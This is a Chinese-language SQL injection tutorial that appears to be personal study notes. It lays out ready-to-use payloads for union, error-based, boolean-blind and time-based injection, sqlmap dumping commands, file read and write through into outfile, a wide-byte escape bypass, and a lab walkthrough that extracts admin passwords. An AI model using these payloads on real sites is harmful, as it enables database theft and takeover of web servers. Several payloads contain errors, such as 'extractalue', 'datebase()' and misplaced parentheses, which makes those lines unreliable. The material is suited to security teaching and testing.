SQL注入

一、介绍

SQL注入漏洞在owasp top 10中排名第一,是常见的web安全漏洞,攻击者利用漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。该漏洞是由于:1.程序员在编程时处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。2.未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

注入点可能的位置:GET数据、POST数据、HTTP头部(referer、User-agent等)(HTTP请求报文其他字段)、cookie数据。最常用的是get、post、cookie,简称:GPC。

危害:1.可获取后台管理员密码。2.脱库:脱取数据库内容。3.修改数据库内容。4.有可能直接获取webshell(一句话木马)或者服务器系统权限。

 

漏洞分类

数字型:注入点是数字,数字两边没有单引号、双引号。语句中不要加单引号。

字符型:注入点是字符,有单引号、双引号、括号。语句中需要加上单引号,闭合前面。

XX型:username=(‘xx‘) or 1=1; 另外多加括号。

 

注入手法分类

1.联合查询(正常注入:能看到数据库回显,正确或者错误信息)

2.报错注入(正常注入:能看到数据库回显)

3.布尔盲注(看不到回显,看到的是页面状态)

4.基于时间延迟注入(属于盲注类型,看不到回显,看到的是页面状态)

5.多语句查询注入(堆叠查询;同时执行多条语句。主要针对增、删、改;以上四种是基于查)

 

二、注释

MYSQL数据库的注释有以下几种:

1. #

2. -- 杠杠空格

3. /*.....*/

4. /*!.....*/ 内联查询

元数据(库名、表明、字段名)数据库: information_schema

 

三、注入点的判断(存在以下任意一点情况,表示存在sql注入漏洞)

搜索栏内:

?d=35 +1/-1 判断与数据库是否有交互;有的话考虑联合查询

?d=35 ‘ 判断注入类型;字符型、数字型:如果报错中出现35,是字符型注入;

如果报错中没有35,只有‘,是字符型;有报错考虑报错注入。

?d=35 and 1=1 测试页面是否有布尔类型状态:如果两次相同表示没有布尔类型状态。

?d=35 and 1=2 如果两次不同,表示有布尔类型状态,考虑布尔盲注。

?d=35 and sleep(4) 是否有延时;考虑延时注入(绝招)。

 

四、联合查询

由于数据库中的内容会回显到页面中来,所以可以用联合查询进行注入。

语句:select XX union select XX

由于虚拟表是二维结构,联合查询会“纵向”拼接两张虚拟的表。

必要条件:1.两张虚拟的表具有相同的列数。2.虚拟表对应的列的数据类型(int、str、...)相同。

用order by(排序)判断有多少列

联合语句,例有15列:?d=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

如果前一条语句为假,则显示后一条语句的内容。加-即可变为假。

?d=-34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

 

根据回显的内容,存在注入漏洞,把3与11数据库做相应的替换。

?d=-34 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15

此时出现数据库名与版本信息。

进一步

联合查询可以实现跨库、跨表查询。

?d=-34 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

出现所有表名

取出密码存放的表

查出其中出现所有字段

直到找出后台密码。

 

五、报错注入

在注入点的判断过程中,发现数据库的SQL语句报错信息会显示在页面中,因此可以进行报错注入。

原理:在错误信息中执行SQL语句。

类型:(建议直接背公式)

1.group by (分类聚合)

[?id=33 and (select 1 from (select count(*),concat(select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]

2.XPATH 报错

extractalue()

[?id=33 and extractalue(1,concat(‘^‘,(select version()),‘^‘)) --+]

updatexml

[?id=33 and updatexml(1,concat(‘^‘,(select datebase()),‘^‘),1) --+]

注:--+表示注释掉后面的sql语句(在URL中用--+,在Http包中用#)。

 

六、布尔盲注

and 1=1,and 1=2 判断是否有布尔状态,有的话用布尔盲注。

1.首先判断数据库名字长度 and length(database()) > < =数值

2.一个一个字母尝试,先取第一个字母: ascii(substr (database(),1,1))= ascii码值

 

七、延时注入

原理:利用sleep()语句的延时性,以时间线作为判断条件。

判断:and sleep(5)

举例:if(1,2,3)判断;1为条件,真执行第二项,假执行第三项。

and if (length(database()=3),sleep(5),1)

数据库名字长度如果等于3,那么沉睡5秒,否则返回1;

 

八、sqlmap工具(kali自带)

(一)参数

-u "URL" 检测注入点

--dbs 列出所有数据库的名字

--current-db 列出当前数据库的名字

-D 指定一个数据库

--tables 列出表名

-T 指定表名

--columns 列出所有的字段名

-C 指定字段

--dump 列出字段内容

(二)post注入

1.打开后台页面,用BP抓包,显示post数据。

2.在kali下vim post.txt,将post完整数据复制进来。

3.执行sqlmap -r post.txt

 

九、其他注入手法

(一)对服务器文件进行读写操作

(1)前提

1.secure-file-priv= 不对mysqld的导入导出(读写文件)操作做限制

secure-file-priv=‘c:/a/‘ 限制mysqld的导入导出操作发生在c:/a/下(子目录有效)

secure-file-priv=null 限制mysqld 不允许导入导出操作

2.当前用户具有文件权限

3.知道要写入文件的绝对路径

(2)读取文件操作(直接读取文件内容)

load_file(‘绝对路径‘)

(3)写入文件操作(将要查询内容写入文件)

into outfile ‘绝对路径‘

(二)宽字节注入

准确来说,不是一种注入手法,而是一种比较特殊情况。

比如‘单引号被转义掉,要让转义失效,则在前边加%df变为%df‘

原因:%df也可以是%af...GBK是汉字编码系统,每个汉字两个字节,df属于GBK编码范围,

\(转义符)的编码是5c,也在GBK编码范围内;我们可以在单引号之前提交一个十六进制的字符,与5c组成一个GBK编码的汉字,这样sql语句传入数据库的时候,转义字符5c,会被看做GBK汉字的低位字节编码,从而失去转义作用。

0xdf5c表示汉字“運”。最终目的是排除转义字符\的影响,让‘不被转义掉。

(三)cookie注入

cookie注入的注入参数需要通过cookie提交。

用BP抓包,修改cookie内容。

(四)base64注入

base64是一种编码方法。一般是在cookie信息中用base64编码替换。

(五)Http头部注入

指注入字段在HTTP头部字段中,这些字段通常有Referer、User-Agent等。

 

十、自动化注入

全自动化工具:sqlmap、穿山甲、明小子、定制化脚本

半自动化工具:Burpsuite

 

十一、步骤总结

回显:针对?id=

报错针对加‘或者"或者),即?id=2‘

布尔状态针对 and 1=1 and 1=2的变化。

1.先用?id=1,?id=2 看页面是否有变化,有变化用联合查询。

2.加上‘ ?id=2‘ 查看报错信息,如果2显示在信息中,表示是字符型,除我们自己输入的2‘本身之外,后面的信息即为闭合信息,如图为‘);不显示是数字型,不需要闭合符号;

 

3.构造语句 ?id=2‘) and 1=2 union select 1,2,version() --+

‘)闭合掉前边的,--+注释掉后边的;中间加联合查询语句, and 1=2 把前面语句变为假,就能显示出union后面的内容;union select 1,2,version() 知道3个字段,3可以替换。

4.如果添加单引号没反应,则添加双引号" ?id=2"

5.假如没有回显,添加‘或者"有报错,用报错型注入。 报错为字符型,闭合符号为‘

?id=2‘ and updatexml(1,concat(0x5e,version(),0x5e),1) --+

6.特殊情况 若没有回显,没有报错

试试?id=2‘)) 闭合方式:XX型

用联合查询语句

7.普通情况 没有回显,没有报错,有布尔类型状态。

布尔盲注。

8.没有回显,没有报错,没有布尔型状态。

绝招 延时注入sleep

 

十二、ACCESS数据库注入实验

以实验为例,简单的分析。

进入网站页面此时的URL为:http://10.0.0.1:80/news.asp?id=13

检测注入步骤:

1.加‘ http://10.0.0.1:80/news.asp?id=13‘ #无报错信息

2.order by 猜字段 http://10.0.0.1:80/news.asp?id=13 order by 11 #正常

http://10.0.0.1:80/news.asp?id=13 order by 12 #不正常 证明有11个字段

3.联合查询

http://10.0.0.1:80/news.asp?id=13 and 1=2 order by 11 union select 1,2,3,4,5,6,7,8,9,10,11 from admin(admin为猜测的表名) #页面出现回显

4.根据页面的回显值猜字段 如:admin/password

http://10.0.0.1:80/news.asp?id=13 and 1=2 order by 11 union select 1,password,admin,4,5,6,7,8,9,10,11 from admin

5.利用回显登录网站后台

6.如果URL中不能注入,可尝试从cookie中注入。

SQL注入

上一篇:mysql高级


下一篇:业务核心数据库架构演变——权衡取舍的艺术